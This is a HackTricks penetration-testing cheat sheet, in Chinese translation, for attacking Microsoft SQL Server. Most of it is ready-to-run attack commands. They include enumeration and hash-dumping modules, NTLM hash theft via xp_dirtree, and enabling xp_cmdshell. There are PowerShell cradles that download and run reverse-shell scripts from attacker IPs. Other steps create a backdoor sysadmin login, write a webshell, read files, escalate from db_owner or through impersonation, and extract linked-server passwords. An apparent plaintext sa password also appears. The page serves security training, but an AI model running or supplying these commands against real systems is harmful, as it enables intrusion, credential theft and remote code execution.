> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-mssql-microsoft-sql-server.md). # 1433 - Pentesting MSSQL - Microsoft SQL Server
从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！ 支持 HackTricks 的其他方式： * 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
**Try Hard Security Group**
{% embed url="" %} *** ## 基本信息 来自 [维基百科](https://en.wikipedia.org/wiki/Microsoft_SQL_Server)： > **Microsoft SQL Server** 是由 Microsoft 开发的**关系数据库**管理系统。作为数据库服务器，它是一个软件产品，其主要功能是根据其他软件应用程序的请求存储和检索数据，这些应用程序可以在同一台计算机上运行，也可以在网络上的另一台计算机上运行（包括互联网）。 **默认端口：** 1433 ``` 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM ``` ### **默认 MS-SQL 系统表** * **master 数据库**: 这个数据库非常重要，因为它记录了 SQL Server 实例的所有系统级别细节。 * **msdb 数据库**: SQL Server 代理程序利用这个数据库来管理警报和作业的调度。 * **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图，其中任何更改，如大小、排序规则、恢复模型等，都会在新创建的数据库中得到反映。 * **Resource 数据库**: 一个只读数据库，存放着随 SQL Server 提供的系统对象。这些对象虽然物理上存储在 Resource 数据库中，但在每个数据库的 sys 模式中逻辑上呈现。 * **tempdb 数据库**: 用作临时存储区域，用于存放临时对象或中间结果集。 ## 枚举 ### 自动枚举 如果你对服务一无所知： ```bash nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 msf> use auxiliary/scanner/mssql/mssql_ping ``` {% hint style="info" %} 如果您**没有凭据**，可以尝试猜测它们。您可以使用nmap或metasploit。请注意，如果使用现有用户名多次登录失败，可能会**锁定帐户**。 {% endhint %} #### Metasploit（需要凭据） ```bash #Set USERNAME, RHOSTS and PASSWORD #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used #Steal NTLM msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder #Info gathering msf> use admin/mssql/mssql_enum #Security checks msf> use admin/mssql/mssql_enum_domain_accounts msf> use admin/mssql/mssql_enum_sql_logins msf> use auxiliary/admin/mssql/mssql_findandsampledata msf> use auxiliary/scanner/mssql/mssql_hashdump msf> use auxiliary/scanner/mssql/mssql_schemadump #Search for insteresting data msf> use auxiliary/admin/mssql/mssql_findandsampledata msf> use auxiliary/admin/mssql/mssql_idf #Privesc msf> use exploit/windows/mssql/mssql_linkcrawler msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin #Code execution msf> use admin/mssql/mssql_exec #Execute commands msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload #Add new admin user from meterpreter session msf> use windows/manage/mssql_local_auth_bypass ``` ### [**暴力破解**](/generic-methodologies-and-resources/brute-force.md#sql-server) ### 手动枚举 #### 登录 ```bash # Using Impacket mssqlclient.py mssqlclient.py [-db volume] /:@ ## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine mssqlclient.py [-db volume] -windows-auth /:@ # Using sqsh sqsh -S -U -P -D ## In case Windows Auth using "." as domain name for local user sqsh -S -U .\\ -P -D ## In sqsh you need to use GO after writting the query to send it 1> select 1; 2> go ``` #### 常见枚举 ```sql # Get version select @@version; # Get user select user_name(); # Get databases SELECT name FROM master.dbo.sysdatabases; # Use database USE master #Get table names SELECT * FROM .INFORMATION_SCHEMA.TABLES; #List Linked Servers EXEC sp_linkedservers SELECT * FROM sys.servers; #List users select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name; #Create user with sysadmin privs CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!' EXEC sp_addsrvrolemember 'hacker', 'sysadmin' ``` #### 获取用户 {% content-ref url="/pages/joljbKcrVLsFmlyg3Scb" %} [Types of MSSQL Users](/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md) {% endcontent-ref %} ```sql # Get all the users and roles select * from sys.database_principals; ## This query filters a bit the results select name, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type, sid from sys.database_principals where type not in ('A', 'R') order by name; ## Both of these select all the users of the current database (not the server). ## Interesting when you cannot acces the table sys.database_principals EXEC sp_helpuser SELECT * FROM sysusers ``` #### 获取权限 1. **可保护资源：** 定义为由 SQL Server 管理的资源，用于访问控制。这些资源分为以下类别： * **服务器** – 例如数据库、登录、端点、可用性组和服务器角色。 * **数据库** – 例如数据库角色、应用程序角色、架构、证书、全文目录和用户。 * **架构** – 包括表、视图、存储过程、函数、同义词等。 2. **权限：** 与 SQL Server 可保护资源相关联的权限，如 ALTER、CONTROL 和 CREATE 可授予给主体。权限的管理发生在两个级别： * **服务器级别** 使用登录 * **数据库级别** 使用用户 3. **主体：** 此术语指被授予权限访问可保护资源的实体。主体主要包括登录和数据库用户。通过授予或拒绝权限，或将登录和用户包含在具有访问权限的角色中，来实施对可保护资源的访问控制。 ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); # Show all possible permissions in MSSQL SELECT * FROM sys.fn_builtin_permissions(DEFAULT); # Get all my permissions over securable type SERVER SELECT * FROM fn_my_permissions(NULL, 'SERVER'); # Get all my permissions over a database USE SELECT * FROM fn_my_permissions(NULL, 'DATABASE'); # Get members of the role "sysadmin" Use master EXEC sp_helpsrvrolemember 'sysadmin'; # Get if the current user is sysadmin SELECT IS_SRVROLEMEMBER('sysadmin'); # Get users that can run xp_cmdshell Use master EXEC sp_helprotect 'xp_cmdshell' ``` ## 技巧 ### 执行操作系统命令 {% hint style="danger" %} 请注意，要能够执行命令，不仅需要启用 **`xp_cmdshell`**，还需要对 **`xp_cmdshell` 存储过程具有 EXECUTE 权限**。您可以查看谁（除了 sysadmins）可以使用 **`xp_cmdshell`**： ```sql Use master EXEC sp_helprotect 'xp_cmdshell' ``` {% endhint %} ```bash # Username + Password + CMD command crackmapexec mssql -d -u -p -x "whoami" # Username + Hash + PS command crackmapexec mssql -d -u -H -X '$PSVersionTable' # Check if xp_cmdshell is enabled SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'; # This turns on advanced options and is needed to configure xp_cmdshell sp_configure 'show advanced options', '1' RECONFIGURE #This enables xp_cmdshell sp_configure 'xp_cmdshell', '1' RECONFIGURE #One liner sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE; # Quickly check what the service account is via xp_cmdshell EXEC master..xp_cmdshell 'whoami' # Get Rev shell EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile' # Bypass blackisted "EXEC xp_cmdshell" '; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' — ``` ### 窃取 NetNTLM 哈希 / 中继攻击 您应该启动一个 **SMB 服务器** 来捕获在身份验证中使用的哈希（例如 `impacket-smbserver` 或 `responder`）。 ```bash xp_dirtree '\\\any\thing' exec master.dbo.xp_dirtree '\\\any\thing' EXEC master..xp_subdirs '\\\anything\' EXEC master..xp_fileexist '\\\anything\' # Capture hash sudo responder -I tun0 sudo impacket-smbserver share ./ -smb2support msf> use auxiliary/admin/mssql/mssql_ntlm_stealer ``` {% hint style="warning" %} 您可以通过以下方式检查除系统管理员之外谁具有运行这些 MSSQL 函数的权限： ```sql Use master; EXEC sp_helprotect 'xp_dirtree'; EXEC sp_helprotect 'xp_subdirs'; EXEC sp_helprotect 'xp_fileexist'; ``` {% endhint %} 使用诸如 **responder** 或 **Inveigh** 等工具，可以**窃取 NetNTLM 哈希**。\ 您可以查看如何使用这些工具： {% content-ref url="/pages/GjauOc3bM0I8PrSWsFoL" %} [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) {% endcontent-ref %} ### 滥用 MSSQL 受信任链接 [**阅读此文章**](/windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **以获取有关如何滥用此功能的更多信息：** {% content-ref url="/pages/a89HyHuuNb76uxaw9ktx" %} [MSSQL AD Abuse](/windows-hardening/active-directory-methodology/abusing-ad-mssql.md) {% endcontent-ref %} ### **写入文件** 要使用 `MSSQL` 写入文件，我们**需要启用** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)，这需要管理员权限，然后执行一些存储过程来创建文件： ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 RECONFIGURE sp_configure 'Ole Automation Procedures', 1 RECONFIGURE # Create a File DECLARE @OLE INT DECLARE @FileID INT EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1 EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '' EXECUTE sp_OADestroy @FileID EXECUTE sp_OADestroy @OLE ``` ### **使用 OPENROWSET 读取文件** 默认情况下，`MSSQL` 允许对操作系统中帐户具有读取访问权限的任何文件进行读取。我们可以使用以下 SQL 查询： ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` 然而，**`BULK`** 选项需要具有 **`ADMINISTER BULK OPERATIONS`** 或 **`ADMINISTER DATABASE BULK OPERATIONS`** 权限。 ```sql # Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; ``` #### 基于错误的 SQLi 向量： ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` ### **RCE/读取文件执行脚本（Python和R）** MSSQL可以允许您执行**Python和/或R脚本**。这些代码将由一个**不同的用户**执行，而不是使用**xp\_cmdshell**执行命令的用户。 尝试执行一个\*\*'R'\*\* *"Hellow World!"* **不起作用**的示例： ![](/files/edJBx29mCJk4fwdEe76t) 使用配置的Python执行多个操作的示例： ```sql # Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' #Open and read a file EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' #Multiline EXECUTE sp_execute_external_script @language = N'Python', @script = N' import sys print(sys.version) ' GO ``` ### 读取注册表 Microsoft SQL Server提供了多个扩展存储过程，允许您与网络、文件系统甚至[Windows注册表](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)进行交互： | **常规** | **实例感知** | | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------- | | sys.xp\_regread | sys.xp\_instance\_regread | | sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues | | sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys | | sys.xp\_regwrite | sys.xp\_instance\_regwrite | | sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue | | sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey | | sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring | | sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring | | \`\`\`sql | | | # Example read registry | | | EXECUTE master.sys.xp\_regread 'HKEY\_LOCAL\_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory'; | | | # Example write and then read registry | | | EXECUTE master.sys.xp\_instance\_regwrite 'HKEY\_LOCAL\_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG\_SZ', 'Now you see me!'; | | | EXECUTE master.sys.xp\_instance\_regread 'HKEY\_LOCAL\_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue'; | | | # Example to check who can use these functions | | | Use master; | | | EXEC sp\_helprotect 'xp\_regread'; | | | EXEC sp\_helprotect 'xp\_regwrite'; | | | \`\`\` | | | ### 使用MSSQL用户定义函数SQLHttp进行RCE | | 可以在MSSQL中使用自定义函数加载.NET dll。然而，这需要`dbo`访问权限，因此您需要一个作为`sa`或管理员角色连接到数据库。 查看[此链接](/pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)以查看示例。 ### 其他RCE方法 还有其他方法可以实现命令执行，例如添加[扩展存储过程](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLR程序集](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Server代理作业](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)和[外部脚本](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)。 ## MSSQL权限提升 ### 从db\_owner到sysadmin 如果将**普通用户**赋予\*\*`db_owner`**角色访问**由管理员用户\*\*（如\*\*`sa`**）拥有的数据库，并且该数据库配置为**`trustworthy`**，那么该用户可以滥用这些权限进行**权限提升\*\*，因为在其中创建的**存储过程**可以作为所有者（**管理员**）执行。 ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases # Find trustworthy databases SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name; # Get roles over the selected database (look for your username as db_owner) USE SELECT rp.name as database_role, mp.name as database_user from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id) join sys.database_principals mp on (drm.member_principal_id = mp.principal_id) # If you found you are db_owner of a trustworthy database, you can privesc: --1. Create a stored procedure to add your user to sysadmin role USE CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'USERNAME','sysadmin' --2. Execute stored procedure to get sysadmin role USE EXEC sp_elevate_me --3. Verify your user is a sysadmin SELECT is_srvrolemember('sysadmin') ``` 你可以使用一个**metasploit**模块： ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` 或者一个 **PS** 脚本： ```powershell # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 ``` ### 模拟其他用户 SQL Server有一个特殊权限，名为\*\*`IMPERSONATE`\*\*，允许执行用户承担另一个用户或登录的权限，直到上下文被重置或会话结束。 ```sql # Find users you can impersonate SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' # Check if the user "sa" or any other high privileged user is mentioned # Impersonate sa user EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') ``` {% hint style="info" %} 如果您可以冒充一个用户，即使他不是sysadmin，您应该检查该用户是否可以访问其他数据库或链接服务器。 请注意，一旦您成为sysadmin，您可以冒充任何其他用户： {% endhint %} ```sql -- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' -- Verify you are now running as the the MyUser4 login SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') -- Change back to sa REVERT ``` 你可以使用**metasploit**模块执行这种攻击： ```bash msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` 或者使用 **PS** 脚本： ```powershell # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! ``` ## 使用MSSQL进行持久化 ## 从SQL Server Linked Servers中提取密码 攻击者可以从SQL实例中提取SQL Server Linked Servers密码，并以明文形式获取这些密码，从而授予攻击者可以用来在目标上获得更大立足点的密码。 用于提取和解密存储在Linked Servers中的密码的脚本可以在[此处](https://www.richardswinbank.net/admin/extract_linked_server_passwords)找到。 为使此漏洞利用生效，必须进行一些要求和配置。 首先，您必须在计算机上拥有管理员权限，或者能够管理SQL Server配置。 在验证权限后，您需要配置三件事，即以下内容： 1. 在SQL Server实例上启用TCP/IP； 2. 添加一个启动参数，在本例中，将添加一个跟踪标志，即-T7806。 3. 启用远程管理员连接。 要自动化这些配置，[此存储库](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)提供了所需的脚本。 除了为每个配置步骤提供一个PowerShell脚本外，该存储库还提供了一个完整脚本，结合了配置脚本以及密码的提取和解密。 有关此攻击的更多信息，请参考以下链接： [解密MSSQL数据库链接服务器密码](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [解决SQL Server专用管理员连接问题](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## 本地权限提升 运行MSSQL服务器的用户将启用特权令牌**SeImpersonatePrivilege**。\ 您可能能够通过以下两个页面之一**提升为管理员**： {% content-ref url="/pages/UluVSSCPbTdOK3sWcuzj" %} [RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato](/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md) {% endcontent-ref %} {% content-ref url="/pages/YjUIsM29Lk8y0u3MfPHc" %} [JuicyPotato](/windows-hardening/windows-local-privilege-escalation/juicypotato.md) {% endcontent-ref %} ## Shodan * `port:1433 !HTTP` ## 参考资料 * [如何获取所有数据库用户列表](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users) * [SQL Server登录用户权限fn\_my\_permissions](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/) * [高级MSSQL注入技巧](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [黑客SQL Server存储过程第一部分：不可信数据库](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) * [黑客SQL Server存储过程第二部分：用户冒充](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [通过Metasploit使用SQL Server执行SMB中继攻击](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) * [在SQL Server中使用注册表的工作](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
{% embed url="" %} *** ## HackTricks自动命令 ``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. Port_Number: 1433 #Comma separated if there is more than one. Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MSSQL Note: | Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet). #sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G ###the goal is to get xp_cmdshell working### 1. try and see if it works xp_cmdshell `whoami` go 2. try to turn component back on EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell `whoami` go 3. 'advanced' turn it back on EXEC SP_CONFIGURE 'show advanced options', 1 reconfigure go EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell 'whoami' go xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')" https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server Entry_2: Name: Nmap for SQL Description: Nmap with SQL Scripts Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP} Entry_3: Name: MSSQL consolesless mfs enumeration Description: MSSQL enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT ; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT ; run; exit' ```
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！ 其他支持HackTricks的方式： * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。